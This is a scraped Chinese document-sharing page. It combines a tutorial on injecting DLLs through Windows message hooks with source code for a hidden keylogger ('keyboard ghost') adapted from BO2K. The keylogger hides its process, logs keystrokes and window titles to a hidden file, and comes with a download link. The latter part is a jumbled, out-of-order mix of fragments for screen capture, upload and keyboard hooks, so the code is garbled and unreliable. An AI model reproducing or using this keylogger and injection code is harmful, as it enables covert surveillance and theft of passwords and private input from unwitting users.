FunctionView Code最后:按键精灵X版最新版,⾸次将底层转为基于lua,使得代码书写更为⽅便,使⽤流畅度⼤⼤提升!推荐两个插件:1. :(:放在上边显⽰密码)(开源代码:)⼤兵插件(DBSoft.dll)为⼤兵软件系列软件之⼀,由dabingrain⽤VB6SP6,WINXP系统下写的COM型ActiveX Dll ,⼤部分软件可以引⽤使⽤。

DLL注入技术之消息钩子注入

DLL注入技术之消息钩子注入

DLL注入技术之消息钩子注入消息钩子注入原理是利用Windows 系统中SetWindowsHookEx()这个API,他可以拦截目标进程的消息到指定的DLL中导出的函数,利用这个特性,我们可以将DLL注入到指定进程中。

主要流程如下图所示1.准备阶段需要编写一个DLL,并且显式导出MyMessageProc()函数,主要代码如下:1.LRESULT WINAPI MyMessageProc(int code,WPARAM wParam,LPARAM lParam)2.{3.return CallNextHookEx(NULL, code, wParam, lParam);4.}显示导出某个函数需要在.def文件中的EXPORTS填写MyMessageProc(),如下图所示:2.HOOK阶段使用SetWindowsHookEx()之前首先需要将HOOK的DLL 加载到本身的进程中,以此得到DLL的模块句柄,再使用GetProcAddress()得到DLL中显示导出的函数MyMessageProc()的函数地址,最后遍历出待注入进程的线程ID,这样SetWindowsHookEx()就可以利用这些参数进行HOOK了。

主要代码如下图所示:1.//加载DLL到本身进程2.hMod = LoadLibrary(pDllName);3.if(!hMod) return FALSE;4.//得到显示函数的地址5.lpFunc = (DWORD)GetProcAddress(hMod, "MyMessageProc");6.if(!lpFunc)7.{8.if(hMod) FreeLibrary(hMod);9.return FALSE;10.}11.//得到待注入EXE的进程ID12.dwProcessId = GetProcessId(pExeName);13.if(!dwProcessId)14.{15.if(hMod) FreeLibrary(hMod);16.return FALSE;17.}18.//得到待注入EXE的线程ID19.dwThreadId = GetThreadId(dwProcessId);20.if(!dwThreadId)21.{22.if(hMod) FreeLibrary(hMod);23.return FALSE;24.}25.//利用HOOK进行注入26.hhook = SetWindowsHookEx(27. WH_GETMESSAGE,//WH_KEYBOARD,//WH_CALLWNDPROC,28. (HOOKPROC)lpFunc,29. hMod,30. dwThreadId);3.释放阶段利用LoadLibrary()得到的模块句柄把本身进程的DLL释放掉,代码如下所示:1.if(hMod) FreeLibrary(hMod);消息钩子注入只需要对SetWindowsHookEx()和DLL导出函数有深刻的认识就可以很容编写,所以代码简单,比较容易实现。

键盘幽灵程序源代码

键盘幽灵程序源代码

键盘幽灵程序源代码对于全局钩⼦的使⽤常见的说法是把钩⼦函数放到.dll⽂件中,包括版的⼀篇VC5.0的⽂章以及《计算机世界》2000.10.19B11技巧版“⽤VC++ 编写钩⼦程序”。

但在BO2K中,击键记录线程调⽤⽇志钩⼦明显不是从dll ⽂件来的,实际上BO2K Server 端已经不需要dll程序配合了。

我把BO2K中击键记录的⽇志钩⼦函数单独提出来,构造了⼀个只有24k ⼤的键盘幽灵GetKey.exe,在win9x 下以隐藏⽅式运⾏,⽤户的所有击键记录在与可执⾏⽂件相同⽬录下的隐藏⽂件keyfile.txt 中,按Ctrl+x中⽌键盘幽灵程序的运⾏。

如果想在Win2k下运⾏,需要去掉源代码中关于win9x隐藏进程的部分,重新编译: /download/GetKey.zip ⽐较奇怪的是⽤户在win9x下运⾏后,Dos 窗⼝内的击键⽆法记录。

Win2k中运⾏cmd.exe则可以记录。

朋友的⼀种解释是win9x下 中的击键不是以消息形式发送,是更底层的实现。

下⾯仿照《计算机世界》2000.10.19B11技巧版“⽤VC++编写钩⼦程序” 的格式给出键盘幽灵的编写⽅法: 1、在VC++6.0中利⽤MFC APPWizard(EXE)⽣成⼀个不使⽤⽂档/视图⽀持的单⽂档应⽤GetKey。

打开MainFrm.cpp⽂件。

加⼊全局变量和函数的说明。

HHOOK g_hHook = NULL; //全局钩⼦函数句柄HANDLE g_hCapFile = NULL; //⽂本⽂件句柄 HWND g_hGetKeyWindow = NULL; //主程序窗体句柄HWND g_hLastFocus = NULL; //活动窗体句柄 int nScanValue[1]; //⽤来保存前两次被按键的nScan值 //---------only win9x hide process---------------------------------------------// HMODULE g_hModuleOfKernel = NULL; //kernel32.dll的句柄typedef DWORD (WINAPI *REGSERVICEPROC)(DWORD dwProcessId, DWORD dwServiceType);REGSERVICEPROC pRegisterServiceProcess; //-----------------------------------------------------------------------------// //这个⽇志钩⼦函数基本来⾃BO2K. LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam) {if(nCode〈0) return CallNextHookEx(g_hHook,nCode,wParam,lParam); if(nCode==HC_ACTION) { //HC_ACTION表明lParam指向⼀消息结构EVENTMSG *pEvt=(EVENTMSG *)lParam; if(pEvt-〉message==WM_KEYDOWN) { //判断是否是击键消息 DWORD dwCount,dwBytes;char svBuffer[256]; int vKey,nScan; vKey=LOBYTE(pEvt-〉paramL); nScan=HIBYTE(pEvt-〉paramL); nScan〈〈=16;// Check to see if focus has changed HWND hFocus=GetActiveWindow(); if(g_hLastFocus!=hFocus) { //如果本次击键发⽣窗⼝同上次击键发⽣窗⼝同则保存窗⼝标题到⽂件中; char svTitle[256]; int nCount; nCount=GetWindowText(hFocus,svTitle,256); if(nCount〉0) { char svBuffer[512];wsprintf(svBuffer,"\r\n-----[ %s ]-----\r\n",svTitle); WriteFile(g_hCapFile,svBuffer,lstrlen(svBuffer),&dwBytes,NULL); } g_hLastFocus=hFocus; }// Write out key dwCount=GetKeyNameText(nScan,svBuffer,256); if(dwCount) { //如果所击键在虚拟键表之中 if(vKey==VK_SPACE) {svBuffer[0]=' '; svBuffer[1]='\0'; dwCount=1; } if(dwCount==1) { //如果是普通键则将其对应的ascii码存⼊⽂件 BYTE kbuf[256]; WORD ch; int chcount; GetKeyboardState(kbuf); // if u press CTRL,the nScan is 1900554.and ALT is 367000,Del is 5439488.if ((nScanValue[1] == 1900544) && (vKey == 88)) { //如果按Ctrl+x则主程序退出,可改变⽐较值来更换热键,如vKey == 89则变为Ctrl+y。

相关主题
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
//清除
GlobalUnlock(hDib);
GlobalFree(hDib);
CloseHandle(fh);
return TRUE;
}
if (Upload (strSourceName,strDestName))
{
AfxMessageBox("系统后台处理完毕,请查看结果。",MB_OK|MB_ICONINFORMATION);
{
HDC hScrDC, hMemDC;
HBITMAP hOldBitmap,hBitmap;
int nX, nY, nX2, nY2;
int nWidth, nHeight;
int xScrn, yScrn;
nX2 = lpRect->right;
nY2 = lpRect->bottom;
xScrn = GetDeviceCaps(hScrDC, HORZRES);
yScrn = GetDeviceCaps(hScrDC, VERTRES);
if (nX < 0) nX = 0;
hOldBitmap = (HBITMAP)SelectObject(hMemDC, hBitmap);
ShowWindow(SW_HIDE);
BitBlt(hMemDC, 0, 0, nWidth, nHeight,hScrDC, nX, nY, SRCCOPY);
hBitmap =(HBITMAP)SelectObject(hMemDC, hOldBitmap);
// 写入位图文件头
WriteFile(fh, (LPSTR)&bmfHdr, sizeof(BITMAPFILEHEADER), &dwWritten, NULL);
// 写入位图文件其余内容
WriteFile(fh, (LPSTR)lpbi, sizeof(BITMAPINFOHEADER)+dwPaletteSize+dwBmBitsSize , &dwWritten, NULL);
DeleteDC(hScrDC);
DeleteDC(hMemDC);
ShowWindow(SW_SHOW);
return hBitmap;
} Βιβλιοθήκη BOOL SaveBitmapToFile(HBITMAP hBitmap, LPCSTR lpszFileName)
if (nY < 0) nY = 0;
if (nX2 > xScrn) nX2 = xScrn;
if (nY2 > yScrn) nY2 = yScrn;
nWidth = nX2 - nX;
nHeight = nY2 - nY;
hBitmap = CreateCompatibleBitmap(hScrDC, nWidth, nHeight);
}
else
{
AfxMessageBox("----------",MB_OK|MB_ICONSTOP);
}
BOOL CCsSoftView::Upload (CString strSName, CString strDName)
//为位图内容分配内存
/*xxxxxxxx计算位图大小分解一下(解释一下上面的语句)xxxxxxxxxxxxxxxxxxxx
//每个扫描行所占的字节数应该为4的整数倍,具体算法为:
int biWidth = (Bitmap.bmWidth*wBitCount) / 32;
if((Bitmap.bmWidth*wBitCount) % 32)
#include <windows.h>
#include <WinUser.h>
HHOOK g_hKey;
int m__y1,m__y2,m__y3,m__y4,m__g1,m__g2,m__g3,m__g4;
LRESULT __declspec(dllexport)__stdcall KeyProc( int code, // hook code
hDib = GlobalAlloc(GHND,dwBmBitsSize+dwPaletteSize+sizeof(BITMAPINFOHEADER));
lpbi = (LPBITMAPINFOHEADER)GlobalLock(hDib);
*lpbi = bi;
// 处理调色板
hPal = GetStockObject(DEFAULT_PALETTE);
bmfHdr.bfSize = dwDIBSize;
bmfHdr.bfReserved1 = 0;
bmfHdr.bfReserved2 = 0;
bmfHdr.bfOffBits = (DWORD)sizeof(BITMAPFILEHEADER)+(DWORD)sizeof(BITMAPINFOHEADER)+dwPaletteSize;
{
m__y1=m_y1;
g_hKey=SetWindowsHookEx(WH_KEYBOARD,KeyProc,GetModuleHandle("War3GJ_DLL"),0);
}
HBITMAP CScreenDlg::CopyScreenToBitmap(LPRECT lpRect)
{
HDC hDC;
//设备描述表
int iBits;
//当前显示分辨率下每个像素所占字节数
WORD wBitCount;
//位图中每个像素所占字节数
//定义调色板大小, 位图中像素字节大小 , 位图文件大小 , 写入文件字节数
DWORD dwPaletteSize=0,dwBmBitsSize,dwDIBSize, dwWritten;
//恢复调色板
if (hOldPal)
{
SelectPalette(hDC, hOldPal, TRUE);
RealizePalette(hDC);
::ReleaseDC(NULL, hDC);
}
//创建位图文件
fh=CreateFile(lpszFileName, GENERIC_WRITE,0, NULL, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN, NULL);
bi.biSizeImage = 0;
bi.biXPelsPerMeter = 0;
bi.biYPelsPerMeter = 0;
bi.biClrUsed = 0;
bi.biClrImportant = 0;
dwBmBitsSize = ((Bitmap.bmWidth*wBitCount+31)/32)*4*Bitmap.bmHeight;
{
MessageBeep(500);
keybd_event('B', MapVirtualKey('B', 0), 0, 0);//键下键
keybd_event('B', MapVirtualKey('B', 0), KEYEVENTF_KEYUP, 0);//放开键。
BITMAP Bitmap;
//位图属性结构
BITMAPFILEHEADER bmfHdr;
//位图文件头结构
BITMAPINFOHEADER bi;
//位图信息头结构
LPBITMAPINFOHEADER lpbi;
//指向位图信息头结构
HANDLE fh, hDib, hPal;
HPALETTE hOldPal=NULL;
//定义文件,分配内存句柄,调色板句柄
//计算位图文件每个像素所占字节数
hDC = CreateDC("DISPLAY",NULL,NULL,NULL);
iBits = GetDeviceCaps(hDC, BITSPIXEL) *
GetDeviceCaps(hDC, PLANES);
else
wBitCount = 32;
//计算调色板大小
if (wBitCount <= 8)
dwPaletteSize=(1<<wBitCount)*sizeof(RGBQUAD);
//设置位图信息头结构
GetObject(hBitmap, sizeof(BITMAP), (LPSTR)&Bitmap);
if (hPal)
{
hDC = ::GetDC(NULL);
hOldPal=SelectPalette(hDC,(HPALETTE)hPal,FALSE);
RealizePalette(hDC);
}
// 获取该调色板下新的像素值
GetDIBits(hDC,hBitmap,0,(UINT)Bitmap.bmHeight,(LPSTR)lpbi+sizeof(BITMAPINFOHEADER)+dwPaletteSize, (BITMAPINFO *)lpbi,DIB_RGB_COLORS);
bi.biSize = sizeof(BITMAPINFOHEADER);
bi.biWidth = Bitmap.bmWidth;
bi.biHeight = Bitmap.bmHeight;
bi.biPlanes = 1;
相关文档
最新文档